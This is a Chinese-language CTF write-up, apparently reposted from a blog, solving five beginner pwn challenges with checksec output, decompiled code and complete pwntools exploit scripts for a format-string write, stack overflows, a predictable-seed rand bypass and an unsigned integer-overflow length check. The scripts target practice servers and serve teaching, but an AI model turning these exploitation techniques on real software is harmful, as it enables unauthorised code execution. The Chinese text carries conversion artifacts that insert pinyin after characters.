(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb
⭐學(xué)習(xí)網(wǎng)站
肝就vans了
ctfwiki
⭐CGfsb - printf格式化字符
拿到附件,首先對(duì)其進(jìn)行查看 checksec e41a0f684d0e497f87bb309f91737e4d
checksec e41a0f684d0e497f87bb309f91737e4d
[*] '/mnt/c/Users/11145/Desktop/e41a0f684d0e497f87bb309f91737e4d'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
回顧一下:
Arch: 程序架構(gòu)。 該程序是 x86-32位-小段字節(jié)序號(hào)
RELRO: 在程序啟動(dòng)時(shí)就解析所有動(dòng)態(tài)符號(hào)/設(shè)置符號(hào)重定向表格(只讀),來(lái)減少對(duì)GOT表的攻擊
Stack:棧溢出保護(hù)
Nx:堆棧不可執(zhí)行,即不可在棧上執(zhí)行shellcode,要利用現(xiàn)成system等lib函數(shù)(如"insh")等
PIE:內(nèi)存地址全隨機(jī)化
所以,將附件拖入32bitIDA中。老規(guī)矩 F5 或 shitf+F12 查看。追蹤到如下主函數(shù):
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:
");
system("cat flag");
}
else
{
puts("Thank you!");
}
顯然,pwnme==8 是得到flag的關(guān)鍵。雙擊追蹤:
顯然pwnme被設(shè)置為全局變量,根據(jù)之前 NO PIE 可知,地址不會(huì)改變 0804A068
接下來(lái),就是要確定偏移量。printf(&s); 即:printf格式化字符
詳情可見大佬博客: 格式化字符串漏洞
因此,利用 如下,來(lái)確定偏移量。
aaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
編寫exp
from pwn import *
p = remote('111.200.241.244', 45138)
addr_pwnme = 0x0804A068 #pwnme所在地址
p.recvuntil("please tell me your name:
")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a' * 0x4 + '%10$n' # b'a' * 0x4 四個(gè)字節(jié)用于填充
p.recvuntil("leave your message please:
")
p.sendline(payload)
p.interactive()
由于p32(addr_pwnme)占4個(gè)字節(jié),而我們要讓其==8,必須給他再填充4個(gè)字節(jié)
%10$n這里偏移量為10,%10$n意思為 取第10個(gè)參數(shù)中的內(nèi)容,以內(nèi)容為地址寫入整體字符串的長(zhǎng)度
cyberpeace{bdc5a8ec23eb96270e992665b1333e3f}
⭐when_did_you_born - 溢出
checksec 查看
root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec when_did_you_born
[*] '/mnt/c/Users/11145/Desktop/when_did_you_born'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖入IDA64中,選擇main函數(shù) F5
查看偽碼
顯然我們要利用v4變量所在gets函數(shù),通過(guò)覆蓋v5原本值,來(lái)實(shí)現(xiàn)v5值為1926。
因此,下一步就是確定v5/v4 變量所在地址:(雙擊查看)
編寫exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0 #0/1切換本地調(diào)試
def main():
if content == 1:
J1ay = process("when_did_you_born")
else:
J1ay = remote("111.200.241.244",46071)
payload = b'a' * (0x20-0x18) + p64(1926) #1926覆蓋值,(0x20-0x18)為v4和v5地址差值(偏移量)
J1ay.recvuntil("What's Your Birth?
")
J1ay.sendline("2021")
J1ay.recvuntil("What's Your Name?
")
J1ay.sendline(payload)
J1ay.interactive()
main()
即可獲取
cyberpeace{65c64869ab65a0a82e11229c74b23e9e}
⭐hello_pwn - 溢出
同上題解法。簡(jiǎn)單看一下IDA
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686(0LL, &unk_601068);
只需實(shí)現(xiàn) dword_60106C == 1853186401 。跟上題類似。
可構(gòu)造 payload = b'a' *(0x6C-0x68) 偏移量
payload = payload + p64(1853186401) 將 1853186401 數(shù)據(jù) 填充進(jìn)去。
編寫exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
def main():
if content == 1:
J1ay = process("hello_pwn")
else:
J1ay = remote("111.200.241.244",42801)
payload = b'a' * (0x6c-0x68) + p64(1853186401)
#J1ay.recvuntil("lets get helloworld for bof
")
J1ay.sendline(payload)
J1ay.interactive()
main()
得到
cyberpeace{af41f61a47e0f993edc71bb012877046}
⭐guess_num - 隨機(jī)數(shù)-溢出
拿到附件,首先 checksec 一下
root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec guess_num
[*] '/mnt/c/Users/11145/Desktop/guess_num'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
拖進(jìn) 64IDA中,
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:", 0LL);
gets((__int64)&v7);
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------
", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
sub_C3E() 函數(shù)
__int64 sub_C3E()
{
printf("You are a prophet!
Here is your flag!");
system("cat flag");
return 0LL;
}
顯然,在這里拿到flag。
現(xiàn)在來(lái)看主函數(shù):
雙擊 gets ,追蹤到 seed
0000000000000030 var_30 db ?
............................................
0000000000000010 seed dd 2 dup(?)
發(fā)現(xiàn)需 0x30-0x10 即覆蓋20個(gè)地址,就可到 seed[0]
進(jìn)入循環(huán),導(dǎo)入
from ctypes import *,利用
cdll.LoadLibrary("libc.so.6")根據(jù)如下隨機(jī)數(shù)產(chǎn)生代碼for ( i = 0; i <= 9; ++i ) // 循環(huán)10遍 { v6 = rand() % 6 + 1; ..................... }
編寫exp
from pwn import *
from ctypes import *
p = remote('111.200.241.244',38649)
# 隨機(jī)數(shù)循環(huán)
def srand():
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(1)
for i in range(10):
p.recvuntil("Please input your guess number:")
p.sendline(str(libc.rand()%6+1))
# gets函數(shù)覆蓋
p.recvuntil('Your name:')
payload = b'a' * (0x30 - 0x10) + p64(1)
p.sendline(payload)
# 隨機(jī)數(shù)循環(huán)
srand()
p.interactive()
⭐int_overflow - 無(wú)符號(hào)整型溢出
checksec 查看
root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# checksec int_overflow
[*] '/mnt/c/Users/11145/Desktop/int_overflow'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖進(jìn)IDA32里,查看 -- 主函數(shù)
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
顯然令v4=1,進(jìn)入函數(shù)login
char *login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s
", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check_passwd(&buf);
}
函數(shù)check_passwd()
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}
以及發(fā)現(xiàn) 命令
cat flag,也就是說(shuō),只要我們確定偏移量,將返回地址覆蓋到804868B即可拿到flag。
分析:
在函數(shù)
check_passwd()中顯然可見
strcpy(&dest, s)將 s 拷貝到dest,s是傳入的password。
如下: 只需 0x14+4 個(gè)字節(jié)就可溢出。
當(dāng)然,有個(gè)問題就是,開頭對(duì)傳入的s長(zhǎng)度 v3 進(jìn)行了校驗(yàn),
u代表此為 無(wú)符號(hào)整型,長(zhǎng)度必須在4u-8u間,但是我們需要18個(gè)字節(jié),如何繞開?無(wú)符號(hào)整型范圍為 0~65535 ,則我們可以利用無(wú)符號(hào)整型溢出,來(lái)實(shí)現(xiàn)繞過(guò)。
具體可以參照這篇大佬博客 c語(yǔ)言的整型溢出問題
簡(jiǎn)單來(lái)說(shuō),就是溢出的值會(huì)與256求模,得到最終結(jié)果。
因此,本是 4--8,等價(jià)于 255+3 -- 255+8,即在259--263內(nèi)就可實(shí)現(xiàn)繞過(guò)
編寫exp
from pwn import *
p = remote('111.200.241.244',52479)
p.recvuntil('Your choice:')
p.sendline("1")
p.recvuntil('Please input your username:
')
p.sendline('J1ay')
payload = b'a' * (0x14 + 4) + p32(0x0804868B)
# v3取值在259-263
v3 = 259
payload += b'a'*(v3 - len(payload))
p.recvuntil('Please input your passwd:
')
p.sendline(payload)
p.interactive()
關(guān)于以上鏈接引用【侵權(quán)刪】
若有錯(cuò)誤之處,還請(qǐng)多多指正~~
【轉(zhuǎn)載請(qǐng)放鏈接】 https://www.cnblogs.com/Jlay/p/pwn_CGfsb.html
總結(jié)
以上是生活随笔為你收集整理的(攻防世界) -- pwn入门 -- 新手区1 -- CGfsb的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python3(十三)File对象的属性
- 下一篇: python3(十四)Python 异常